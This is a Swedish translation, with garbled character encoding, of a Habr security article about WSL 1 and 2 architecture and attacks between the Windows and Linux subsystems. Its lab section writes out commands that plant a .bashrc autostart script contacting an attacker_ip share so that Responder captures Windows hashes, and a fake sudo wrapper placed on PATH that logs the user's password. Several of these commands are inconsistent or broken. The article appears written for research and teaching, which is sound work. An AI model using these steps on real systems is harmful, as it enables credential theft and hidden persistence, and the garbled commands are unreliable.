Hej, Habr! I oktober lanserar OTUS en ny omgĂ„ng av kursen . I förberedelserna inför kursstarten delar vi med oss av en artikel som skrevs av en av vĂ„ra lĂ€rare â Alexander Kolesnikov.
à r 2016 introducerade Microsoft en ny teknologi för IT-gemenskapen, WSL (WWindows SSubsystem for LLinux), som gjorde det möjligt att förena tidigare oförenliga konkurrenter som kÀmpade om popularitet bland bÄde vanliga och avancerade operativsystemsanvÀndare: Windows och Linux. Denna teknologi gjorde det möjligt att anvÀnda verktyg frÄn Linux-operativsystemet i Windows-miljö utan att behöva starta Linux, exempelvis genom multiboot. PÄ Habr kan du hitta ett stort antal artiklar som beskriver fördelarna med att anvÀnda WSL. TyvÀrr, vid tidpunkten för artikelns skapande, hittades inga sÀkerhetsstudier av denna symbios mellan operativsystem. Detta inlÀgg kommer att försöka rÀtta till detta. Artikeln kommer att diskutera arkitekturella aspekter av WSL 1 och 2 samt analysera nÄgra exempel pÄ attacker mot system som anvÀnder dessa teknologier. Artikeln Àr uppdelad i tvÄ delar. Den första kommer att ge grundlÀggande teoretiska metoder för attacker frÄn Linux och Windows. Den andra artikeln kommer att inkludera instÀllning av testmiljö och reproduktion av attacker.
WSL 1: arkitekturens egenskaper
För att pĂ„ bĂ€sta sĂ€tt förstĂ„ sĂ€kerhetsproblem med WSL Ă€r det nödvĂ€ndigt att definiera de grundlĂ€ggande nyanserna kopplade till implementeringen av subsystemet. En av de viktigaste anvĂ€ndaruppgifterna som WSL löser Ă€r att möjliggöra arbete via Linux-terminaler pĂ„ vĂ€rden med Windows OS. Den erbjudna kompatibiliteten var sĂ„ nativ att Linux-exekverbara filer (ELF) kunde köras direkt i Windows-systemet. För att uppnĂ„ dessa mĂ„l skapades en speciell subsystem i Windows 10 för att köra Linux-applikationer med hjĂ€lp av en uppsĂ€ttning specifika systemanrop â dĂ€rigenom gjordes ett försök att mappa Linux-systemanrop till Windows. Fysiskt realiserades detta genom att lĂ€gga till nya drivrutiner och ett nytt processformat. Visuellt sĂ„g arkitekturen ut sĂ„ hĂ€r:
I grund och botten organiserades interaktionen med operativsystemet Linux genom flera kĂ€rnmoduler och en speciell typ av processer â pico. Av schemat ovan framgĂ„r att processen, som körs i en Linux-instans pĂ„ vĂ€rden, mĂ„ste vara nativ och anvĂ€nda samma resurser som vanliga Windows-applikationer. Men hur uppnĂ„r man detta? I projektet utvecklades koncept för processer för Windows, som tillhandahöll alla nödvĂ€ndiga komponenter av operativsystemet (beroende pĂ„ dess version) för att köra en applikation frĂ„n ett annat OS.
Notera att den föreslagna abstraktionen gjorde det möjligt att inte behöva ta hĂ€nsyn till operativsystemet (i synnerhet â Windows), dĂ€r processen frĂ„n ett annat OS förvĂ€ntades köras, och erbjöd en allmĂ€n metod.
SÄledes kunde vilken applikation som helst inom pico-processen fungera utan att ta hÀnsyn till Windows-kÀrnan:
- Kompatibilitets- och översÀttningsproblem för systemanrop mÄste lösas av speciella leverantörer;
- à tkomstkontroll bör ske via SÀkerhetsmonitor. Monitorn ligger i kÀrnan och dÀrför krÀvdes en uppgradering av Windows i form av en ny drivrutin, som skulle kunna fungera som leverantör för sÄdana processer. Prototypen av pico-processen Àr schematiskt representerad nedan:
Eftersom filsystemet i Linux anvĂ€nder skiftlĂ€geskĂ€nsliga filnamn och kataloger har Windows lagt till 2 typer av filsystem för att arbeta med WSL â VolFS och DriveFS. VolFS Ă€r en implementation av filsystemet Linux, DriveFS Ă€r ett filsystem som fungerar enligt Windows regler, men har möjlighet att vĂ€lja kĂ€nslighet för registrering av namn.
WSL 2
WSL 1 hade ett antal begrÀnsningar som hindrade anvÀndningen för att lösa ett maximalt antal uppgifter. Till exempel, möjligheten att köra 32-bitars Linux-appar saknades och det var inte möjligt att anvÀnda enhetens drivrutiner. DÀrför slÀpptes WSL 2 2020, som förÀndrade sÀttet att bygga subsystemet. WSL 2 Àr en optimerad virtuell maskin som matchar WSL 1:s resursförbrukningsegenskaper. Nu, beroende pÄ de problem som Windows-anvÀndaren ska lösa, kan man vÀlja den nödvÀndiga versionen av Linux-arbetsmiljö. För att mildra potentiella sÄrbarheter byggdes WSL 2 pÄ Hyper-V i Windows 10. I denna version har Windows möjlighet att isolerat köra Linux operativsystemets kÀrna. Det Àr viktigt att komma ihÄg att version 1 av WSL presenterades som en beta-funktion som skulle visa riktningen för Windows utveckling inom detta omrÄde, dÀrför var övergÄngen till Hyper-V oundviklig. Den slutgiltiga arkitekturen ser ut sÄ hÀr:
I denna version har Windows- och Linux-systemkÀrnor sina egna resurser och överlappningen finns endast i filsystemet, men detta kan inte kallas fullt. Interaktionen mellan filsystemen sker genom en klient-server-wrapper som arbetar enligt protokollet 9P.
I dag erbjuder Microsoft möjligheten att vÀxla mellan WSL 1 och WSL 2. BÄda versionerna Àr tillgÀngliga för anvÀndning.
SÀkerheten för WSL
Det finns för nÀrvarande ett antal studier som beskriver vissa metoder för att anvÀnda legitima verktyg frÄn operativsystemet för att attackera interaktionen mellan subsystems. Vi kommer att anvÀnda deras scenarier för att kontrollera relevansen av attacker vid tidpunkten för artikelns skrivande. Den allmÀnna listan över attacker och scenarier Àr:
1. Implementering av filsystem: behörigheter, nÀrvaro av gemensamma kataloger/datadelning mekanismer.
Studier har genomförts för att undersöka övertrÀdelse av ÄtkomstrÀttigheter frÄn Linux FS->Windows FS, Windows FS->Linux FS. Studierna visade möjligheten att modifiera en given fil inom det mÄlsatta operativsystemet. Det har ocksÄ genomförts försök att byta, skapa duplikat och ta bort delar av filsystemen.
Scenario:
- A. Attack frĂ„n operativsystemet Windows â modifiering av filer i katalogen /etc i Linux OS.
- B. Attack frĂ„n operativsystemet Linux â modifiering av filer i katalogerna:
C:Windows,C:Program Files,C:Users
2. Implementering av nÀtverksstacken.
Forskningen genomfördes med exempel pÄ attacker frÄn operativsystemet Linux mot Windows. Det utnyttjades egenskaper hos nÀtverksstacken, nÀmligen autentiseringsmekanismer pÄ olika resurser.
Scenario:
- Ăppning av en port som redan Ă€r upptagen i systemet Windows
- Ăppning av port utan motsvarande behörighet
- Körning av reverse shell med en ELF-fil i operativsystemet Windows.
3. Dölja körning av skadlig programvara genom WSL-subsystemet.
Forskningen baserades pÄ den enkla faktan - skyddssystem kan inte fÄnga hÀndelser i ett annat kÀrna som arbetar med en legitim leverantör frÄn operativsystemet i fallet med WSL 1. I WSL 2 finns det inget sÀtt att se hÀndelser som intrÀffar i ett separat kÀrna inom ramen för en lÀtt virtuell maskin.
Scenario:
1) Starta en applikation för fjÀrrÄtkomst till systemet och visa registrerade hÀndelser.
WSL 1 experiment: fÄnga hash (Windows OS)
Ăntligen har vi kommit till den praktiska delen. Först mĂ„ste miljön för testerna konfigureras. Alla experiment kommer att genomföras pĂ„ en plattform med installerad Windows 10 2004. För operativsystemet för WSL valdes Ubuntu 18.04 som avbild. Avbilden valdes slumpmĂ€ssigt och vilken annan som helst kommer att fungera lika bra. Kommandon för att konfigurera plattformen:
Först mÄste du starta powershell.exe som administratör.
För WSL 1 mÄste följande kommandon utföras:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Aktivera WSL-funktionen
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Ladda ner Linux-abbilden frÄn Microsoft Store
Efter omstart av plattformen kan du anropa kommandot bash. Om allt fungerade korrekt kommer du att se ungefÀr detta utdata i Windows-konsolen:
Som angriparmaskin kommer vi att anvÀnda Kali Linux-distributionen, alla maskiner ska befinna sig i samma lokala nÀtverk.
Anta att vi har oprivilegierad Ă„tkomst till WSL pĂ„ en Windows-maskin. LĂ„t oss försöka genomföra en attack pĂ„ operativsystemet Linux genom att köra ett kommando frĂ„n Linux. För att genomföra attacken kommer vi att anvĂ€nda en enkel autostartteknik â vi lĂ€gger till vĂ„rt skript för exekvering i Linux-miljön. För detta mĂ„ste vi Ă€ndra filen .bashrc.
PÄ maskinen med WSL kör vi:
1. bash
2. GÄ till anvÀndarens hemkatalog: cd /home/sam/
3. echo " /home/sam/.attack.sh" >> .bashrc
4. echo "icalcs.exe \\attacker_ip\\shareName\" > /dev/null 2>&1 >> .attack.sh
5. chmod u+x .attack.sh
6. exitPÄ Kali Linux-maskinen kör vi:
1. Responder -I eth0 -rdvwPĂ„ Windows-maskinen startar vi bash.
Vi vÀntar pÄ resultatet pÄ Kali Linux-maskinen:
SÄledes fick vi Windows-anvÀndarens hashes via WSL genom att köra kommandot pÄ Linux-systemet.
WSL 1 experiment: fÄ anvÀndarens lösenord (Linux OS)
Vi kommer att genomföra ett till experiment. Under denna kontroll kommer vi att lÀgga till nÄgra kommandon i filen .bashrc för att hÀmta anvÀndarens lösenord för operativsystemet Linux.
Vi startar bash och skriver in kommandona:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] lösenord för $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Försök igen."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit För att attacken ska lyckas mÄste anvÀndaren Sam köra sudo i Linux-terminalen. Efter det kommer anvÀndarens Linux-lösenord att finnas i filen pass.txt:
Genomförandet av attackerna har endast beskrivits för teoretisk förstÄelse.
I nÀsta del av artikeln kommer implementeringen av protokollet 9P att beskrivs, skapandet av en skanner för detta protokoll kommer att diskuteras, samt en attack genomföras med hjÀlp av det.
Lista över anvÀnda kÀllor
LĂ€s mer
KĂ€lla: habr.com
